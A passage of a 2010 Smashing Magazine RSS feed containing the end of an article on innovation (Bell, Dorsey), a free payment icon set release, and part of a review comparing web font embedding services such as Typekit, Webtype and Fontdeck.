class="alignnone size-full wp-image-69584" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/alexander-graham-bell-telephone.jpg" alt="Alexander-graham-bell-telephone in How To Make Innovative Ideas Happen" width="500" height="147" /></a></p><h4>Alexander Graham Bell&#8217;s Modern Communication</h4><p><a href="http://en.wikipedia.org/wiki/Alexander_Graham_Bell">Alexander Graham Bell</a> was a scientist from Scotland (originally) that had always had a natural curiosity for the world. This resulted in experimentation with inventing at a young age, most notably a simple dehusking machine at age 12.</p><p>Due to the gradual deafness of his mother starting at a young age, he was led to study acoustics which eventually led to the invention of the telephone. Bell&#8217;s telephone grew out of improvements he made to the telegraph. He had invented the &#8220;harmonic telegraph&#8221; which could send more than one message at a time over a single telegraph wire. His path to success was not as clear as one might think and is surrounded by past failures and controversy.</p><p>Bell&#8217;s first serious work with sound transmission used tuning forks to explore resonance. Unfortunately, this groundbreaking undertaking <strong>had already been completed</strong> worlds away in Germany. A short change in path led Bell to transmit sound through electrical means. He experimented first by trying to transmit musical notes and articulate speech.</p><p>Alexander Graham Bell had not set any clear destination and became overwhelmed with his experiments. After many sleepless nights he created a <a href="http://memory.loc.gov/ammem/bellhtml/belltelph.html">harmonic telegraph</a> which became the first stepping stone to the creation of the telephone. After entertaining other possibilities such as the <a href="http://en.wikipedia.org/wiki/Phonautograph">phonautograph</a> and sending multiple telegraph messages on a single line, Bell refined the idea of <a href="http://en.wikipedia.org/wiki/Acoustic_telegraphy">acoustic telegraphy</a>.</p><p>By recognizing progress and changing his path, Bell (with the help of Thomas Watson) was able to invent the <a href="http://en.wikipedia.org/wiki/Sound-powered_telephone">sound-powered telephone</a>. By starting with the idea of transmitting a voice through electricity, Alexander Graham Bell was able to, through a series of refinements, invent technology that is <strong>used around the world even today</strong>. Bell continued to test out new ideas involving kites, airplanes, tetrahedral structures, sheep-breeding, artificial respiration, desalinization and water distillation, and hydrofoils.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/jack-dorsey-micro-communication1.jpg"><img class="alignnone size-full wp-image-69894" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/jack-dorsey-micro-communication1.jpg" alt="Jack-dorsey-micro-communication1 in How To Make Innovative Ideas Happen" width="600" height="175" /></a></p><h4>Jack Dorsey&#8217;s Micro Communication</h4><p><a href="http://en.wikipedia.org/wiki/Jack_Dorsey">Jack Dorsey</a> is an American software architect that had an interest in making &#8220;instant messenger&#8221; updates available for friends to see. This was a refined concept that eventually grew into what we now know as Twitter. Three guiding principles of this innovative idea are simplicity, constraint and craftsmanship.</p><p>Jack had an early fascination with cities and how they work, so he would always carry maps around with him. His attraction with mass-transit and how cities function led   him to taking advantage of public transit databases in Manhattan. He built off of his original idea that gave meaning to his overall concept. His idea make clear though working on dispatch software, programming real-time messaging systems for   couriers, taxis, and emergency vehicles.</p><p>Jack Dorsey&#8217;s experience helped him see his idea in a <strong>completely new perspective</strong>. Taking his seedling of an idea that would update friends of his status, Dorsey completed several field tests before recognizing that the technology available didn&#8217;t support his innovative idea. There are times when putting off a project is irrefutable. Jack Dorsey originally came up with his idea in the year 2000 but wasn&#8217;t able to execute effectively until 8 years later. Jack was effective in <strong>not letting his idea sit for too long</strong> but instead taking action when technology would let it thrive.</p><h3>Conclusion</h3><p>Making ideas  happen isn&#8217;t easy and requires patience, determination and hard work.  The most important part of it is not just coming up with a promising  concept, but rather rethinking it over and over again, implementing it  and then putting it to practice.</p><p>Most inventions come from necessity, so  pay attention to small problems in your environment and find simple  solutions to these problems. Do not sit idle on the idea — act instead.  Take opposing thoughts and resolve them in your innovative designs. And  keep innovating all the time, one step at a time. The time will pass,  and if you have some luck, you will see your idea growing, flourishing  and maybe even turning into a real success. <em>&#8230;So what are you waiting for?</em></p><h3>Further Resources</h3><p>Here are further articles and related resources:</p><ul><li><a href="http://www.smashingmagazine.com/2010/04/21/five-tips-for-making-ideas-happen/">Five Tips For Making Ideas Happen</a><br /> Creative types have a problem. We have so many great ideas, but most of them never see the light of day. Some creative people and teams are able to defy the odds and make their ideas happen, time and again.</li><li><a href="http://the99percent.com/tips/6842/99-excuses-for-not-making-ideas-happen">99 Excuses For NOT Making Ideas Happen</a><br /> If you’re NOT doing something, what does it matter why? See what their readers feel are the most common excuses for NOT making ideas happen.</li><li><a href="http://www.bizjournals.com/dayton/stories/2000/08/28/smallb3.html">Executing Ideas Often is Difficult for Leaders</a><br /> Strategy is too often just a bad joke (with allusions to Dilbert&#8217;s  pointy-haired boss) among the working-level people who actually produce  the products, provide the service and generate the profit.</li><li><a href="http://www.devlounge.net/strategy/how-do-you-keep-develop-and-execute-ideas">How Do You Keep, Develop and Execute Ideas?</a><br /> There are so-called serial entrepreneurs who are fond of jumping from  one great execution of an idea to another. And more often than not, they  gain much experience–and money–in the process.</li><li><a href="http://www.rightnow.com/blog/executive-leadership/ideas-are-not-innovation">Ideas Are Not Innovation</a><br /> Continuous innovation is critical to most businesses, and your is no  exception.  Innovation must be woven into the very fabric of your  culture.</li><li><a href="http://www.youngentrepreneur.com/blog/the-3-most-common-mistakes-when-growing-an-idea-into-a-business/">The 3 Most Common Mistakes When Growing an Idea into a Business</a><br /> Sometimes this energy and excitement can be blinding.  Some people are  so tremendously passionate, yet lack the ability to take ownership and  really get things done.</li></ul><hr /><p><small>© Robert Hartland for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/&title=How%20To%20Make%20Innovative%20Ideas%20Happen">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'How%20To%20Make%20Innovative%20Ideas%20Happen'%20http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/99-conference/" rel="tag">99% conference</a>, <a href="http://www.smashingmagazine.com/tag/dorsey/" rel="tag">dorsey</a>, <a href="http://www.smashingmagazine.com/tag/graham-bell/" rel="tag">graham bell</a>, <a href="http://www.smashingmagazine.com/tag/idea/" rel="tag">idea</a>, <a href="http://www.smashingmagazine.com/tag/ideation/" rel="tag">ideation</a>, <a href="http://www.smashingmagazine.com/tag/innovation/" rel="tag">innovation</a>, <a href="http://www.smashingmagazine.com/tag/inspiration/" rel="tag">Inspiration</a>, <a href="http://www.smashingmagazine.com/tag/picasso/" rel="tag">picasso</a>, <a href="http://www.smashingmagazine.com/tag/successful/" rel="tag">successful</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/how-to-make-innovative-ideas-happen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)</title>
		<link>http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/</link>
		<comments>http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/#comments</comments>
		<pubDate>Thu, 21 Oct 2010 18:53:05 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Graphics]]></category>
		<category><![CDATA[Icons]]></category>
		<category><![CDATA[credit card]]></category>
		<category><![CDATA[payment]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=68588</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>Today we are glad to release a <strong>Payment Icon Set</strong>, a set with 18 payment icons in PNG format, in the resolutions 32&#215;32px — 128&#215;128px. This set was designed by <a href="http://www.thewebdesignblog.co.uk">Phil Matthews</a> and released especially for Smashing Magazine and its readers. The icons are inteded to be used on e-commerce websites where you can show what types of payment the shop accepts. Each icon comes in curved and straight edge variations.</p><p><a href="http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/preview.gif" width="500" height="460" alt="Screenshot" /></a></p> <p>You can use the set for all of your projects for free and without any restrictions. You can freely use it for both your private and commercial projects, including software, online services, templates and themes. The set may not be resold, sublicensed or rented. Please link to this article if you want to spread the word.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)"  /></a></div></td></tr></table><p>Today we are glad to release a <strong>Payment Icon Set</strong>, a set with 18 payment icons in PNG format, in the resolutions 32&times;32px — 128&times;128px. This set was designed by <a href="http://www.thewebdesignblog.co.uk">Phil Matthews</a> and released especially for Smashing Magazine and its readers.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/large-preview.jpg"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/payment-release.jpg" width="500" height="328" alt="Payment-release in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)"  /></a></p><p>The icons are inteded to be used on e-commerce websites where you can show what types of payment the shop accepts. Each icon comes in curved and straight edge variations. As usual, the set is free to use in private and commercial projects — no credit is required.</p><h4>Download the icon set for free!</h4><p>You can use the set for all of your projects for free and without any restrictions. You can freely use it for both your private and commercial projects, including software, online services, templates and themes. The set may not be resold, sublicensed or rented. Please link to this article if you want to spread the word.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/large-preview.jpg"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/preview.gif" width="500" height="460" alt="Preview in Free PNG Credit Card, Debit Card and Payment Icons Set (18 Icons)"  /></a></p><ul><li><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/large-preview.jpg">preview</a></li><li><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/payment-icon-set.zip">download the icon set for free</a> (zip, 0.8 Mb)</li></ul><h4>Behind the design</h4><p>As always, here are some insights from the designer:</p><blockquote><p>This icon pack includes 18 different payment icons in PNG format.  These icons are released free of charge and can be used without credit. The icons cannot be resold in any way. The copyright of each logo is owned by the respective payment company and I do not take responsibility for any part of the design of these. They are inteded for you to show what types of payment your website accepts. Please spread the word if you like this icon set or find it useful. Thank you.</p><p>&mdash; Phil Mathews</p></blockquote><p>Thank you very much, Phil! We really appreciate your efforts.</p><hr /><p><small>© Vitaly Friedman for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/&title=Free%20PNG%20Credit%20Card,%20Debit%20Card%20and%20Payment%20Icons%20Set%20(18%20Icons)">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Free%20PNG%20Credit%20Card,%20Debit%20Card%20and%20Payment%20Icons%20Set%20(18%20Icons)'%20http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/21/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/credit-card/" rel="tag">credit card</a>, <a href="http://www.smashingmagazine.com/tag/freebies/" rel="tag">Freebies</a>, <a href="http://www.smashingmagazine.com/tag/icons/" rel="tag">Icons</a>, <a href="http://www.smashingmagazine.com/tag/payment/" rel="tag">payment</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/free-png-credit-card-debit-card-and-payment-icons-set-18-icons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review of Popular Web Font Embedding Services</title>
		<link>http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/</link>
		<comments>http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 13:55:52 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Fonts]]></category>
		<category><![CDATA[embedding]]></category>
		<category><![CDATA[font-face]]></category>
		<category><![CDATA[fontdeck]]></category>
		<category><![CDATA[services]]></category>
		<category><![CDATA[typekit]]></category>
		<category><![CDATA[typography]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=63056</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>Even though <code>@font-face</code> was introduced in the CSS2 spec in 1998, it wasn't until this past year that all in-use web browsers added support for it. This year we're seeing a wave of web font services being marketed, and this could have a profound impact on web typography.</p><p><a href="http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/"><img class="alignnone size-full wp-image-63071" title="Fontdeck" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-13.jpg" alt="FontDeck" width="500" height="337" /></a></p> <p>Web font services, like Typekit and now the Google Font API, have captured a lot of attention. But in the past 3 months there's been an explosion of new services; services like Fonts Live, Fontdeck, Webtype and others with conjugated names involving "Font" or "Type".</p><p>While all of these services are unique, they each provide a tool for web designers and developers to legally display professional fonts on their website. <strong>The guide below compares 10 of these services</strong>, breaking down the pros and cons of each. We hope this comparison will help you make a more informed decision on which service to use when you venture into the ever-growing, sometimes confusing, world of web fonts.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Review of Popular Web Font Embedding Services" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in Review of Popular Web Font Embedding Services" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in Review of Popular Web Font Embedding Services"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in Review of Popular Web Font Embedding Services"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in Review of Popular Web Font Embedding Services"  /></a></div></td></tr></table><p>In the mid-80s the desktop publishing revolution began with the introduction of the Mac Plus, Aldus PageMaker and the Apple LaserWriter printer. It took quite a few years for these tools to make an impact on the design and publishing world, but once they did, there was no looking back.</p><p>In 2010 we see a similar revolution starting to take shape with web fonts. Even though <code>@font-face</code> was <a href="http://www.w3.org/TR/1998/WD-css2-19980128/fonts.html#h-14.3.1">introduced in the CSS2 spec in 1998</a>, it wasn&#8217;t until this past year that <a href="https://developer.mozilla.org/en/CSS/@font-face#Browser_compatibility">all in-use web browsers</a> added support for it. This year we&#8217;re seeing a wave of web font services being marketed, and this could have a profound impact on web typography.</p><p>Web font services, like Typekit and now the Google Font API, have captured a lot of attention. But in the past 3 months there&#8217;s been an explosion of new services; services like Fonts Live, Fontdeck, Webtype and others with conjugated names involving &#8220;Font&#8221; or &#8220;Type&#8221;.</p><p>While all of these services are unique, they each provide a tool for web designers and developers to legally display professional fonts on their website. <strong>The guide below compares 10 of these services</strong>, breaking down the pros and cons of each. We hope this comparison will help you make a more informed decision on which service to use when you venture into the ever-growing, sometimes confusing, world of web fonts.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is <a href="https://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-ebook-successful-freelancing">Successful Freelancing for Web Designers</a>, 260 pages for just $9,90.]</p><h3>Typekit</h3><p><a href="http://www.typekit.com/">Typekit, Inc.</a> is a popular web font service from <a href="http://smallbatchinc.com/">Small Batch Inc</a> and founder Jeffrey Veen. Typekit was one of the first services on the scene and is currently one of the most widely adopted services on the market.</p><p><a href="http://www.typekit.com"><img class="alignnone size-full wp-image-63068" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-11.jpg" alt="Fonts-11 in Review of Popular Web Font Embedding Services" width="500" height="305" /></a></p><p><strong>Font Selection</strong><br /> 4000 (about half of these are through the Typekit library, and the other half via licensing arrangements with foundries who sell their own web licences)</p><p><strong>Advantages Over Other Services</strong><br /> Strong platform integrations. Typekit is a scaled service, with well over 80 million unique users each month.</p><p><strong>Pros</strong><br /> Extremely easy setup for designers and developers, allowing integration within minutes. Integration with Google Font API and blogging platforms including WordPress, Posterous and Typepad. The full font library is available via most plans for a single low price, allowing customers to try different fonts on one site as well as use different fonts on multiple projects. Now offering <a href="http://typekit.com/foundries/adobe">Adobe fonts</a>. Enterprise customers can self-host using their own CDN. The service allows you to host custom fonts. The simple free plan doesn&#8217;t expire.</p><p><strong>Cons</strong><br /> Implementation requires JavaScript (although on the Typekit blog they list <a href="http://blog.typekit.com/2009/06/02/fonts-javascript-and-how-designers-design/">some reasons that JavaScript-based implementation has its advantages</a>). Fonts are not available for desktop use.</p><p><strong>Pricing</strong><br /> Free trial account includes the use of 2 fonts on 1 website. Paid plans start at $24.99 per year (2 sites, 5 fonts per site). The more popular plans allow unlimited font usage on unlimited domains.</p><p><strong>Fee Schedule</strong><br /> Annual subscription</p><h4>Our Experience with Typekit</h4><p>Setting up TypeKit is fairly straightforward. You just set the domains you want to use (the free trial site includes one domain and up to two fonts) and then build your Kit by adding fonts. A little JavaScript inserted into the header pulls in all the necessary CSS information. You can also reference the fonts in your own CSS, and use wild cards when adding to your list of allowed domains (e.g. *.domain.com will work on sub.domain.com).</p><p>As is the case with any web font service, there is a brief delay before the proper font is shown, but it&#8217;s barely noticeable. Since Typekit&#8217;s fonts are loaded via JavaScript, Typekit offers tools <a href="http://typekit.zendesk.com/entries/245989-controlling-the-flash-of-unstyled-text-or-fout">to control the loading process</a>, so delays are not as noticeable to the user.</p><h3>Webtype</h3><p><a href="http://www.webtype.com/">Webtype</a><strong> </strong>is a recent creation of <a href="http://www.fontbureau.com/">The Font Bureau</a>, <a href="http://www.ascendercorp.com">Ascender</a>, <a href="http://www.devbridge.com/">DevBridge</a>, and font experts Roger Black and Petr Van Blokland. Webtype is all about quality and boasts “fonts for the highest quality online typography, including typefaces which were designed from scratch specifically for onscreen reading”.</p><p><a href="http://www.webtype.com"><img class="alignnone size-full wp-image-63070" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-12.jpg" alt="Fonts-12 in Review of Popular Web Font Embedding Services" width="500" height="357" /></a></p><p><strong>Font Selection</strong><br /> 365</p><p><strong>Advantage Over Other Services</strong><br /> Font quality</p><p><strong>Pros</strong><br /> Quick and easy setup. Flexible pricing. Ability to host custom fonts as well as self-host. JavaScript-free integration. Desktop license available.</p><p><strong>Cons</strong><br /> Some fonts are expensive compared to other web font services.</p><p><strong>Pricing</strong><br /> Free 30-day trial on all fonts. Fonts start at $10 per year per site.</p><p><strong>Fee Schedule</strong><br /> Annual subscription</p><h4>Our Experience with Webtype</h4><p>Webtype was easy to set up and use from the signup process on. Just browse and purchase fonts (a 30-day free trial license is available for testing fonts) and then create projects. Select the font you want to use for each project and you’ll be given a link code and CSS selector for each font. Then you copy and paste them into your HTML and CSS files and you’re ready to go.</p><p>Make sure you click “Save” from the CSS resource page that gives you the code, or it won’t be live. Resource size is also given on this page, which can be helpful if you’re trying to estimate bandwidth usage. The load time for the font was possibly a bit slower than some of the other services here, despite the small file size of the font tested.</p><h3>Fontdeck</h3><p><a href="http://www.fontdeck.com/">Fontdeck</a> is a relatively new service by <a href="http://clearleft.com/">Clearleft</a> and <a href="http://omniti.com/">OmniTI</a>. It was conceived in March 2009 by Jon Tan and Richard Rutter as a way to bring quality fonts to a wide audience while levelling the playing field for type foundries. It went into private beta in January 2010 and was open to the public in June of 2010.</p><p><a href="http://www.fontdeck.com"><img class="alignnone size-full wp-image-63071" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-13.jpg" alt="Fonts-13 in Review of Popular Web Font Embedding Services" width="500" height="337" /></a></p><p><strong>Font Selection</strong><br /> 600, with plans for this number to be doubled before Christmas.</p><p><strong>Advantage Over Other Services</strong><br /> Only pay for the fonts you want to use. No bandwidth limit. Unlimited trial periods for all fonts (with a 20 IP address cap).</p><p><strong>Pros</strong><br /> Easy to set up. Affordable options available. Automatically include similar style fonts in the font stack. Pure CSS with no JavaScript required.</p><p><strong>Cons</strong><br /> No self-hosting option available. Fonts not available for desktop use.</p><p><strong>Pricing</strong><br /> Some free fonts, but most start at $2.50 per year per site.</p><p><strong>Fee Schedule</strong><br /> Annual subscription (which applies only to fonts on live web sites; as mentioned, all fonts have unlimited trial periods).</p><h4>Our Experience with Fontdeck</h4><p>Fontdeck was incredibly easy to set up. While it does require manual insertion of the CSS selectors into the stylesheet for your site (which is by design, to give designers as much control as possible), it provides the code for this immediately without the added step of setting up a stylesheet (the link is ready as soon as you select to add the font). Prior to purchasing the license, the first 20 visitors to your site can see the font.</p><p>I did find that I had to add the subdirectory to the hostname in order to get it working. But all the options and controls are located on a single page for each font, making it easy to update settings. Fonts are displayed quickly, but as with the other services, there is a split of a second when you can see the default font.</p><p>One added bonus from Fontdeck is that they include similar style fonts in the font stack, in case the user&#8217;s browser doesn&#8217;t support <code>@font-face</code>, and to help with the perceived change in text. Many of the other services just use the default font or a generic serif/sans-serif.</p><h3>Fonts Live</h3><p><a href="http://www.fontslive.com/">Fonts Live</a> is a new web font service from <a href="http://www.ascendercorp.com">Ascender Corporation</a> &mdash; the company behind the “Droid” fonts for Google’s Android mobile platform, the “Segoe” family of fonts for Microsoft Windows, and the Ascender Fonts desktop font web store. Fonts Live is similar to Webtype (both were developed by <a href="http://www.devbridge.com/">DevBridge</a>), however, Fonts Live serves fonts exclusively from Ascender and its partners.</p><p><a href="http://www.fontslive.com"><img class="alignnone size-full wp-image-63072" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-14.jpg" alt="Fonts-14 in Review of Popular Web Font Embedding Services" width="500" height="388" /></a></p><p><strong>Font Selection</strong><br /> 499</p><p><strong>Advantage Over Other Services</strong><br /> Font quality</p><p><strong>Pros</strong><br /> Flexible pricing. Desktop license available. Option to self-host web fonts. Integration with Google Font API. JavaScript-free integration. Now offering <a href="http://blog.fontslive.com/2010/09/hallmark-fonts-added-to-fontslive.html">Hallmark fonts</a>.</p><p><strong>Cons</strong><br /> Some fonts are expensive compared to other web font services. Back-end was among the least user-friendly of the services featured here.</p><p><strong>Pricing</strong><br /> Free 30-day trial on all fonts. Fonts start at $10 per year per site.</p><p><strong>Fee Schedule</strong><br /> Annual subscription</p><h4>Our Experience with Fonts Live</h4><p>Setting up Fonts Live is a bit more labor intensive than setting up some others featured here. Setting up the service wasn&#8217;t without its bugs, either. First of all, read the documentation before you start, or you&#8217;re likely to get confused. With the first font I tried (Corsiva Italic), the site was unable to set up the resource and kept returning errors. It also created blank files for each of these failures, meaning I had to go in and manually delete them. Not sure if this was just an exception for that particular font or if it&#8217;s a more widespread problem. There was no mention of it in the site’s documentation.</p><p>I had better luck with the second font I tried (Romany). This time it created the resource without any issues. From there, you have to insert the stylesheet (“resource” in Fonts Live terms) link in your header and then insert the font family, style, and weight for whichever elements you want styled. The plus side here is that you don&#8217;t run into issues with your original stylesheet interfering.</p><p>Once it was up and running, however, it was noticeably faster serving the fonts than TypeKit, though this is likely due to smaller file sizes in the fonts used.</p><h3>TypeFront</h3><p><a href="http://typefront.com/">TypeFront</a> is a hosting-only service which lets you upload a font you already own, as long as it has a web-friendly license (make sure you read the license agreement carefully!). Once you add the domain(s) you want to use, TypeFront provides you with the code to add to your website.</p><p><a href="http://www.typefront.com"><img class="alignnone size-full wp-image-63074" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-15.jpg" alt="Fonts-15 in Review of Popular Web Font Embedding Services" width="500" height="332" /></a></p><p><strong>Font Selection: </strong>N/A</p><p><strong>Advantage Over Other Services</strong><br /> Ideal for do-it-yourself designers and developers who understand the ins and outs of web typography.</p><p><strong>Pros</strong><br /> Inexpensive. No noticeable delay when displaying web fonts.</p><p><strong>Cons</strong><br /> You must supply your own fonts. Requires a solid understanding of your font license agreement.</p><p><strong>Pricing</strong><br /> Free plan offers 1 font and 500 requests per day. Paid plans start at $5 per month (Australian dollars) and include 10 hosted fonts and 5000 requests per day. 30-day trial on all paid plans.</p><p><strong>Fee Schedule</strong><br /> Monthly subscription</p><h4>Our Experience with TypeFront</h4><p>Once you&#8217;ve signed up for an account, uploading fonts is simple. Just make sure the fonts 